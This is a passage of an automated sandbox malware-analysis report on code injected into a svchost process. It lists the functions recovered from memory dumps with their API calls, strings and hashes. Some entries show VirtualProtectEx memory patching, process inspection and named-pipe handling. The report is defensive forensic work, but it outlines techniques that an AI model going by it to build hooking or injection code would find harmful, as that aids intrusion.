Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 5eb0f69eaa28739e7a3b5d30c3b7e3077147b945ee367a274f52b7d5e5995563
Instruction ID: 0e93d523014fe33429086a29fcd4ec5f8b25b04b5faab58ad0c4886581baa407
Opcode Fuzzy Hash: 5eb0f69eaa28739e7a3b5d30c3b7e3077147b945ee367a274f52b7d5e5995563
Instruction Fuzzy Hash: DE02CC36219B8086EBA0CB55E49435EBBA0F3D5794F204116EB8E97BA8DF7DC484CF01

Function 0000026A879D0980 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0000026A879D09C2
GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000026A879D093F,?,?,?,0000026A879CE263), ref: 0000026A879D0A80
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000026A879D093F,?,?,?,0000026A879CE263), ref: 0000026A879D0B0A

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: 6ea8d1c03a27889c2a76d2fa2108f5730873fa6bd6da2ede6083719aa30d033f
Instruction ID: 9785ada16f6ba613f265021b1b5f3b4dde76e450c38aa902d93f95b18eb431ac
Opcode Fuzzy Hash: 6ea8d1c03a27889c2a76d2fa2108f5730873fa6bd6da2ede6083719aa30d033f
Instruction Fuzzy Hash: 5181CF32610A5089FBD0DF69C8883AD7FA1F784B98F444156DE2A77791DB3AC441CF22

Function 0000026A879C5B30 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000026A879C5B46

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: dbebcfa212769c950804440a44d24f2a92ce7775a833934e53173bcf02afa0e6
Instruction ID: 4ee369ca84b0e94f961d075eefea6419c5e507c7228b4ca4eab765bd7bfc8873
Opcode Fuzzy Hash: dbebcfa212769c950804440a44d24f2a92ce7775a833934e53173bcf02afa0e6
Instruction Fuzzy Hash: E361DA36519B44C6EBA0CB15E45831EBBA4F3D8784F605216FA8E57BA8DB7EC540CF01

Function 0000026A879A13D8 Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 0000026A879A1400
_set_statfp.LIBCMT ref: 0000026A879A141B
_set_statfp.LIBCMT ref: 0000026A879A1437
_set_statfp.LIBCMT ref: 0000026A879A1473

Memory Dump Source

Source File: 00000011.00000003.1826644218.0000026A87990000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A87990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_3_26a87990000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: 3cba833c7c3e8635b78570d7036d81f2c335cee3c60ac54628be692665e7f048
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 1911A932AD2B1101F7D4122CE55E3ADB2F16B94774F184624EA77377DAFB1AC9414903

Function 0000026A879D1FD8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 0000026A879D2000
_set_statfp.LIBCMT ref: 0000026A879D201B
_set_statfp.LIBCMT ref: 0000026A879D2037
_set_statfp.LIBCMT ref: 0000026A879D2073

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: d09477ec4ac729a0b8a5126bc7e50452c296aa99132a7193bf38e456d7ddac9c
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 81116932A54A0102F7E89624D55E36D7D606BA53B4F144635AF763B7D6CA1FC8C2C903

Function 0000026A879C3BB8 Relevance: 7.5, APIs: 5, Instructions: 45COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,0000026A879C3657), ref: 0000026A879C3BC6
GetCurrentProcess.KERNEL32(?,?,?,?,?,0000026A879C3657), ref: 0000026A879C3BF4
VirtualProtectEx.KERNEL32(?,?,?,?,?,0000026A879C3657), ref: 0000026A879C3C16
GetCurrentProcess.KERNEL32(?,?,?,?,?,0000026A879C3657), ref: 0000026A879C3C34
VirtualProtectEx.KERNEL32(?,?,?,?,?,0000026A879C3657), ref: 0000026A879C3C55

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: f49a43d8567c213b337cf74c33d87ea9f8b0f1b984059dad2b4cd4689300dbc7
Instruction ID: 8cf684c279c47e5a316fbe476e5be281943219fab7ad6c2e1befb6ee7df75a20
Opcode Fuzzy Hash: f49a43d8567c213b337cf74c33d87ea9f8b0f1b984059dad2b4cd4689300dbc7
Instruction Fuzzy Hash: 4F115B3A704B4082FF949B25E44C2AE7AB0F788B95F084029DE8D17794EF3EC548CB06

Function 0000026A879C3558 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

StrCmpNW.SHLWAPI ref: 0000026A879C357A
StrStrW.SHLWAPI ref: 0000026A879C3594
StrToIntW.SHLWAPI ref: 0000026A879C35BB

Part of subcall function 0000026A879C1934: OpenProcess.KERNEL32 ref: 0000026A879C195A
Part of subcall function 0000026A879C1934: K32GetModuleFileNameExW.KERNEL32 ref: 0000026A879C1978
Part of subcall function 0000026A879C1934: PathFindFileNameW.SHLWAPI ref: 0000026A879C1987
Part of subcall function 0000026A879C1934: lstrlenW.KERNEL32 ref: 0000026A879C1993
Part of subcall function 0000026A879C1934: StrCpyW.SHLWAPI ref: 0000026A879C19A6
Part of subcall function 0000026A879C1934: CloseHandle.KERNEL32 ref: 0000026A879C19B4

Part of subcall function 0000026A879C3C70: StrCmpNIW.SHLWAPI(?,?,?,0000026A879C255A), ref: 0000026A879C3C88

Strings

pid_, xrefs: 0000026A879C3570

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID: pid_
API String ID: 517849248-4147670505
Opcode ID: c190cf9c84f4fec237682ecde889163a3056c2ee0c0182666c83aa3720f1176d
Instruction ID: 2943f072f88694575b776650e15300b126d3f9b990d1373b75b60a8a3de24066
Opcode Fuzzy Hash: c190cf9c84f4fec237682ecde889163a3056c2ee0c0182666c83aa3720f1176d
Instruction Fuzzy Hash: B4118E35300B40A1FF90DB25E90A39E7BA0F7C8780F8500219E4DA3798EF2AC915DF86

Function 0000026A879C14A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000026A879C14C5
HeapFree.KERNEL32 ref: 0000026A879C14D4
GetProcessHeap.KERNEL32 ref: 0000026A879C14E1
HeapFree.KERNEL32 ref: 0000026A879C14F0
GetProcessHeap.KERNEL32 ref: 0000026A879C1500

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 675c280ff13286ce7d146578b7a03c3a8db6339f083b3ff198ff4cd99f23170e
Instruction ID: a03360d1949d0afa7a791c42e6c64afc6343680673b3dd1a26165067a15b95fe
Opcode Fuzzy Hash: 675c280ff13286ce7d146578b7a03c3a8db6339f083b3ff198ff4cd99f23170e
Instruction Fuzzy Hash: BE011A76610B92C6E784DFA6E80815D7FB1F788F85F084425EA4E63B28EE39C455CB41

Function 0000026A879C2618 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 187COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 0000026A879C2701
StrCpyW.SHLWAPI ref: 0000026A879C271A

Strings

\\.\pipe\, xrefs: 0000026A879C270C

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 64816e4cd3ccee350da6ce7bbddcd7399f42add8e1b6bc9b0cc6ea827a19452e
Instruction ID: ca24dbbf011402c8ccefec4d0567cec08fe62c6b451f17e144b73c72737f7b6c
Opcode Fuzzy Hash: 64816e4cd3ccee350da6ce7bbddcd7399f42add8e1b6bc9b0cc6ea827a19452e
Instruction Fuzzy Hash: 8571823220478186FFA4DF2699583EE77A5F3C9B84F440025DE49A7B99DF36C685CB02

Function 0000026A8799D178 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0000026A8799D249

Strings

bad array new length, xrefs: 0000026A8799D385, 0000026A8799D396
HIJKLMNOPQRSTUVWXYZ, xrefs: 0000026A8799D2A1, 0000026A8799D345

Memory Dump Source

Source File: 00000011.00000003.1826644218.0000026A87990000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A87990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_3_26a87990000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: HIJKLMNOPQRSTUVWXYZ$bad array new length
API String ID: 3215553584-4137334423
Opcode ID: f0e5866417592c2ff8c3377a202dd0391a84e675177e715dfbe21364aa16f179
Instruction ID: 7b41ddfce685e6d2e0c9efc9c6e4e9a83fb9321eebb737032e5b964e986635b1
Opcode Fuzzy Hash: f0e5866417592c2ff8c3377a202dd0391a84e675177e715dfbe21364aa16f179
Instruction Fuzzy Hash: 3661C13260964082FAF89B2891CE36D7BE8F785795F144425DA0A377A2DA3BC841CF13

Function 0000026A879C2408 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 142COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 0000026A879C24ED
StrCpyW.SHLWAPI ref: 0000026A879C2504

Strings

\\.\pipe\, xrefs: 0000026A879C24F8

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 15f2f4e0f9d638f158a96525c1ecafbceb1b9e2c8075581ad63209208a78af1e
Instruction ID: eaeebad90c2e7299d721a9da3962111a9b8eda6252e0573b52ea7b3221bcf299
Opcode Fuzzy Hash: 15f2f4e0f9d638f158a96525c1ecafbceb1b9e2c8075581ad63209208a78af1e
Instruction Fuzzy Hash: 53518E362087C582EFA4DE25A46C3AF7B61F3D9780F440015DF8923B99EA7BC5859F42

Function 0000026A879D0724 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 0000026A879D083B
GetLastError.KERNEL32 ref: 0000026A879D085D

Strings

U, xrefs: 0000026A879D07E7

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: f44db66318a18b3e6bf0bbc027b995569a44fb504c85fb8b49b9fe2e6159cddc
Instruction ID: 5fffcb82b90d14cfdd4a8c7740e9cacbf46d68fa6c8f1ff5a458f01875668730
Opcode Fuzzy Hash: f44db66318a18b3e6bf0bbc027b995569a44fb504c85fb8b49b9fe2e6159cddc
Instruction Fuzzy Hash: 2B41B132714B8082EBA0DF29E8483AE7FA1F798794F854021EE4D97798DB3EC441CB41

Function 0000026A879CD7E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 0000026A879CD819
LCMapStringW.KERNEL32 ref: 0000026A879CD8A1

Strings

LCMapStringEx, xrefs: 0000026A879CD7FC, 0000026A879CD80D

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: 9eb651065806efa1f3c1ddeda68a4214a605e5c82d734f3d398dbc25806cdd5e
Instruction ID: 7d742faf528b6f908273379c17201dcb0ec9fe9c21d1d042ae66690c57d519ef
Opcode Fuzzy Hash: 9eb651065806efa1f3c1ddeda68a4214a605e5c82d734f3d398dbc25806cdd5e
Instruction Fuzzy Hash: B7111D36608B8086DBA0CB15F84439EBBA5F7C9B84F544126EECD53B59CF38C5508B40

Function 0000026A879C95F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 0000026A879C9634
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,0000026A879C84FB), ref: 0000026A879C967A

Strings

csm, xrefs: 0000026A879C9667

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: ba97a2cfb4494a9593318773eec94a3c4e74a75ef8f777109a467670aa1db902
Instruction ID: 65b7e96918c5d13549ca4f3715c852b3524a5d3d4346eb6d8267ab721b452ad3
Opcode Fuzzy Hash: ba97a2cfb4494a9593318773eec94a3c4e74a75ef8f777109a467670aa1db902
Instruction Fuzzy Hash: 16113A32614B84C2EB618F25E54435DBBA4F798B94F588220EE8C17BA9DF3DC5518B00

Function 0000026A879CD77C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 0000026A879CD7AD
InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,?,0000026A879CAE98), ref: 0000026A879CD7C7

Strings

InitializeCriticalSectionEx, xrefs: 0000026A879CD7A1

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: e64e4740045ae81cdb2e514f923c51f250565fc9a097f0243aa16987f787090b
Instruction ID: 5f10548da1aafae449b39f266b465961ba97e9037fa842d887f3319dc1a15934
Opcode Fuzzy Hash: e64e4740045ae81cdb2e514f923c51f250565fc9a097f0243aa16987f787090b
Instruction Fuzzy Hash: F3F05E35604B5081EBD49B51B54869D7E64AB88BD0F544125AE4923BA4DE3AC485CB02

Function 0000026A879CD728 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 0000026A879CD751
TlsSetValue.KERNEL32(?,?,?,0000026A879CB50E,?,?,?,0000026A879CB969,?,?,?,?,0000026A879CBA1D), ref: 0000026A879CD768

Strings

FlsSetValue, xrefs: 0000026A879CD73E

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: fc325339b7f97732f837055afb4aa1383e496b4c3619d26f7748048e5b1acc4f
Instruction ID: 7f2d1068c69fd1daaa2840e56ee522c4cf992a8f544c30cc10a58f7712e20314
Opcode Fuzzy Hash: fc325339b7f97732f837055afb4aa1383e496b4c3619d26f7748048e5b1acc4f
Instruction Fuzzy Hash: E1E092B5604600D1FED48B60F94C2DC7E72BBC8780F588126E909273E4DE3AC856CB02

Function 0000026A879C1C28 Relevance: 5.0, APIs: 4, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000026A879C1C65
HeapAlloc.KERNEL32 ref: 0000026A879C1C74
GetProcessHeap.KERNEL32 ref: 0000026A879C1C9C
HeapFree.KERNEL32 ref: 0000026A879C1CAA

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 25d11f289d9fbfcfef02ead22fd34e1bae26a1daa0a4a5c4d43c16fe266dba3e
Instruction ID: 8802ff9419eae7743a3a0ef74dac876a4928fd54d24e081a1a60cd4df4e39084
Opcode Fuzzy Hash: 25d11f289d9fbfcfef02ead22fd34e1bae26a1daa0a4a5c4d43c16fe266dba3e
Instruction Fuzzy Hash: E111A371A40B9181EE55CB66940815DBBB0FBC8FA1F598214DE5D63794FE39C042CB04

Function 0000026A879C1268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000026A879C126E
HeapAlloc.KERNEL32 ref: 0000026A879C127D
GetProcessHeap.KERNEL32 ref: 0000026A879C1297
HeapAlloc.KERNEL32 ref: 0000026A879C12A8

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: f083a3077c0b1c945921efc18f57caeeb55b99edd70e436b0099e2dca6254ff4
Instruction ID: 2c48dc19e786c3eb72415be0286c5c0383a1706879dfe082f89047f98b56d407
Opcode Fuzzy Hash: f083a3077c0b1c945921efc18f57caeeb55b99edd70e436b0099e2dca6254ff4
Instruction Fuzzy Hash: E5E03231A01A02C6F748CBA2D80C3493FE1EB98B0AF488024890D07760DF7EC4998B81

Function 0000026A879C1000 Relevance: 5.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000026A879C1006
HeapAlloc.KERNEL32 ref: 0000026A879C1015
GetProcessHeap.KERNEL32 ref: 0000026A879C1028
HeapAlloc.KERNEL32 ref: 0000026A879C1037

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

